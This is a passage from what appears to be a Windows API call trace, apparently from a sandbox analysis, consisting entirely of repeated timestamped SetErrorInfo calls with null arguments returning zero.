perrinfo=0x0) returned 0x0 [0061.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.875] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.875] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.875] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, 